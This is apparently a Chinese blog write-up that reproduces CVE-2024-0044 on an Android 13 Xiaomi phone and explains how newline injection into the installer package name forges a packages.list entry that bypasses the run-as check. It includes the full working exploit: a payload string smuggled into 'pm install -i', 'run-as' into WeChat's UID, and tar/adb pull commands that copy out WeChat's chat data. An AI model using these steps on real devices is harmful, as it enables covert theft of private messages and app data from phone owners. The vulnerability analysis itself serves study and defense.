前言
最近在倒腾 Android 逆向相关,期间了解了一个比较有意思的漏洞(CVE_2024_0044),这个漏洞可以突破 Android 12/13 系统提权备份应用数据(例如:提取微信数据,难怪最近各厂家先后突破 Android 12/13 提权备份,乐~)。正好我的手机还是 Android 13 系统,遂复现了一下,发现漏洞存在并成功利用,以及利用漏洞提取出微信聊天等数据。
详细信息
在 Android 12 和 13 上,通过 pm install
的 -i
标志设置时,新安装应用程序的“Installer package name”未经过清理。无论是 pm 还是底层的 PackageInstallerService 都没有检查它是否包含特殊字符,更不用说它是否引用了已安装的软件包。
尽管在写入 /data/system/packages.xml
时,安装程序包名称中的特殊字符会被无害地转义,但在写入 /data/system/packages.list
时 却没有进行转义 ,这会以简单的换行和空格分隔格式复制了某些软件包的元数据。通过提供带有换行符和空格的名称,具有 ADB shell 访问权限的攻击者可以将任意数量的虚假字段和条目注入到 packages.list
中。
packages.list
的一个用户是 run-as
(还有如 simpleperf_app_runner ,但 run-as
是该问题造成的最大安全威胁),它允许 ADB shell 在给定应用程序的上下文中运行代码。run-as 旨在拒绝不可调试的应用程序,但它会从 packages.list
查询应用程序的可调试性(以及其 UID
、SELinux
上下文和数据目录)。通过相关注入使得保留后者但更改前者的伪造条目,攻击者可以绕过可调试性检查并成为系统上的几乎任何应用程序。
我们之所以说“几乎”,是因为 run-as
确实有一些额外的纵深防御检查,其中最值得注意的是即使 packages.list
显示它应该这样做,它也不会去假设非应用程序 UID(包括 system
用户,以及保留最高特权的应用程序),也不会假设与真实应用程序相同的 SELinux
上下文,因为它只考虑 fromRunAs=true
的 seapp_contexts ,这对非特权应用程序没有影响,因为 runas_app 严格来说比 untrusted_app 更有特权,但它确实阻止攻击者执行针对 priv_app 或 platform_app 上的操作——即使是作为通常可以执行的应用程序。
问题还因为 run-as
中的另一个逻辑错误而加剧,该错误使其可以针对 privapps
。通常情况下,在 check_data_path()
中的检查会禁止这种操作,该函数试图确保:
- 应用程序数据目录的每个父级都由系统拥有。
- 数据目录本身由应用程序UID拥有。
由于 run-as
不允许对 privapp_data_file
进行 stat()
状态检查操作,上述的第 2 点检查对于具有 UID 不匹配(如果伪造应用程序具有错误的数据目录)或权限被拒绝(如果伪造应用程序的数据目录正确)的 privapp
应该失败。然而,执行每个检查的 check_directory() 辅助函数包含一个针对路径 /data/user/0
的特殊情况。尽管仅允许该路径成为符号链接,但这种特殊情况也无意中跳过了 UID 的验证。因此,通过将假冒应用的数据路径设置为/data/user/0
,攻击者可以满足 run-as
的内部安全检查。一旦进入 runas_app
,他们就可以读取和写入 privapp_data_file
,因为 Android 有点令人困惑地允许任何应用程序这样做。
在具有 Google 移动服务(GMS)的 Android 设备上,攻击者通过写 /data/user_de/0/com.google.android.gms/app_chimera/m/*/oat/
中的缓存 ODEX/VDEX 文件(这些文件包含 GMS 加载的未签名可执行代码),可以在 GMS 中获得持久性(在此过程中升级到 gmscore_app
)。其中一些代码还会加载到使用 Google API 的应用程序中,也允许在这些地方保持持久性。这本身不是一个漏洞,但确实强调了在 privapp
数据目录中强制执行 W|X 的重要性。
漏洞复现
漏洞的整个利用过程也很简单,主要就 4 步,本次复现设备是个人的 Redmi K40 设备,系统版本:Xiaomi HyperOS 1.0.6.0.TKHCNXM(Android 13),本次以微信 APP 为例,复现步骤如下:
1、利用 ADB Shell 查看微信 UID:
alioth@shell:/ $ pm list package -U |grep com.tencent.mm
package:com.tencent.mm uid:10260,99910260
alioth@shell:/ $
2、推送任意一个 app 到 /data/local/tmp
目录下:
adb push test.apk /data/local/tmp/test.apk
3、执行相关 POC ,这里将下述的 UID 替换为微信的 UID( victim
这个名称也是可以更改):
PAYLOAD="@null
victim [UID] 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/test.apk
将上述的代码在 ADB Shell 命令框中运行,效果如下:
alioth@shell:/ $ PAYLOAD="@null
> victim 10260 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
alioth@shell:/ $ pm install -i "$PAYLOAD" /data/local/tmp/test.apk
Success
alioth@shell:/ $
上述的 victim [uid] 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null
解释如下:
- 第三个字段,数字
1
表示该包是否可调试。 - 第四个字段,
/data/user/0
是成为privapps
所需的数据路径,如上述分析所说。 - 第五个字段则用于派生
SELinux
域,并设置为适用于任何针对 Target API >= 28 的应用程序的通用值。 - 其他字段对于
run-as
来说并不重要。
4、切换为微信用户:
alioth@shell:/ $ run-as victim
alioth@u0_a260:/data/user/0 $ id
uid=10260(u0_a260) gid=10260(u0_a260) groups=10260(u0_a260),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs),50260(all_a260) context=u:r:runas_app:s0:c4,c257,c512,c768
alioth@u0_a260:/data/user/0 $
可见此时的 shell
已经是微信 UID
了。通过命令也可查看目标应用数据(其它应用没有权限),如图所示:
提取数据
上述操作我们成功获得目标应用权限,但是这个用户只有应用目录的权限,没法在其他目录创建文件,因此我们再借助另一个 ADB Shell 终端,先把文件创建好再写入数据,如下:
alioth@shell:/ $ mkdir /data/local/tmp/mm/
alioth@shell:/ $ touch /data/local/tmp/mm/mm.tar
alioth@shell:/ $ chmod -R 0777 /data/local/tmp/mm/
alioth@shell:/ $ run-as victim
alioth@u0_a260:/data/user/0 $ tar -cf /data/local/tmp/mm/mm.tar com.tencent.mm
拉取数据:
adb pull /data/local/tmp/mm/mm.tar
后续若取消提权,只需要把操作过程中安装的 test.apk
卸载即可。
在 Android 14 中,PackageInstallerService
确保了安装程序包名称引用已安装的软件包,因此该已修复。
参考
Bypassing the "run-as" debuggability check on Android via newline injection
Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044